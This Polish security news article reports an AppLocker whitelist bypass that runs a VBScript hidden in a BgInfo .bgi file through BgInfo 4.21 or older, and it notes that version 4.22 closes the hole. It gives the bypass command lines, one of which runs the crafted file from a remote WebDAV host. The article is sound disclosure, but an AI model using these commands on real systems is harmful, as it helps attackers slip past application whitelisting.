Błąd w AppLocker: możliwe uruchomienie aplikacji lub skryptu spoza białej listy

25 maja, 2017

AppLocker to integralna z systemem Windows aplikacja stworzona przez sam Microsoft, której zadaniem jest blokowanie uruchamianych niezaufanych aplikacji lub skryptów z „lokalizacji podwyższonego ryzyka” (głównie z %TEMP%, programów spoza „Program Files” oraz „Windows”).

Z kolei „BgInfo” umożliwia wyświetlenie na tapecie przydatnych dla administratora informacji o systemie, konfiguracji karty sieciowej oraz innych diagnostycznych danych, a także zapisanie ich do pliku „.bgi”.

bginfo
BgInfo dodaje do tapety różne informacje diagnostyczne.

Ominięcie restrykcji (instrukcja krok po kroku) nałożonych przez AppLocker możliwe jest – jak na ironię – za pomocą BgInfo w wersji 4.21 oraz starszych.  

Wykorzystując ten skrypt Vbscript (opublikowany jako dowód koncepcji), możemy zaimportować „plik.vbs” do programu BgInfo.exe i wyeksportować z rozszerzeniem „.bgi” zachowując jego właściwości. Teraz trzeba znaleźć taki cel, który wykorzystuje w swoim środowisku aplikację AppLocker, by za pomocą interpretera PowerShell lub CMD uruchomić z linii komend skrypt „plik.vbs” poprzez program BgInfo.exe:

c:bginfobginfo.exe wyeksportowany_plik.bgi /popup /nolicprompt

To samo da się zrobić pobierając spreparowany plik.bgi ze zdalnego serwera:

“\10.10.10.10webdavbginfo.exe” bginfo.bgi /popup /nolicprompt

Na razie Microsoft nie udostępnił aktualizacji dla AppLocker, ale zrobił to 16 maja dla BgInfo. Wersja 4.22 programu BgInfo.exe nie umożliwia już przeprowadzenia takiego ataku. Nie oznacza to, że sztuczki tej nie da się wykorzystać w środowisku produkcyjnym. Osoba atakująca musiałaby umieścić w docelowym systemie program BgInfo w wersji 4.21 lub starszej, co przy aktywnych restrykcjach AppLocker będzie trudne, ale ciągle możliwe –  np. za pomocą exploita wykorzystującego lukę w zainstalowanym oprogramowaniu w „Program Files” (przeglądarki), która da sposobność zdalnego wykonania kodu (pobrania BgInfo v4.21 i ominięcie restrykcji AppLocker).

Adrian Ścibor

Adrian Ścibor

W ramach działań związanych z cyberbezpieczeństwem odpowiada w AVLab za przeprowadzanie testów rozwiązań ochronnych przed zagrożeniami. Opracowuje strategie oraz narzędzia, które pomagają w ochronie danych i systemów przed cyberatakami. Współuczestnik międzynarodowej grupy non-profit AMTSO, która zrzesza ekspertów IT.
Adrian Ścibor

Adrian Ścibor

W ramach działań związanych z cyberbezpieczeństwem odpowiada w AVLab za przeprowadzanie testów rozwiązań ochronnych przed zagrożeniami. Opracowuje strategie oraz narzędzia, które pomagają w ochronie danych i systemów przed cyberatakami. Współuczestnik międzynarodowej grupy non-profit AMTSO, która zrzesza ekspertów IT.

PODZIEL SIĘ:

Czy ten artykuł był pomocny?

Średnia ocena: 0 / 5. Liczba głosów: 0

guest
0 komentarzy
Inline Feedbacks
View all comments

Wyrażam zgodę na przesłanie oferty drogą telefoniczną przez IT Partners security sp. z o.o. z siedzibą Katowicach ul.Padereskiego 35 na podany przeze mnie adres e-mail zgodnie z ustawą z dnia 10 maja 2018 roku o ochronie danych osobowych (Dz. Ustaw z 2018, poz. 1000) oraz zgodnie z Rozporządzeniem Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (RODO).

Wyrażam zgodę na przesłanie oferty drogą mailową przez IT Partners security sp. z o.o. z siedzibą Katowicach ul.Padereskiego 35 na podany przeze mnie adres e-mail zgodnie z ustawą z dnia 10 maja 2018 roku o ochronie danych osobowych (Dz. Ustaw z 2018, poz. 1000) oraz zgodnie z Rozporządzeniem Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (RODO).

[ninja_tables id=”27481″]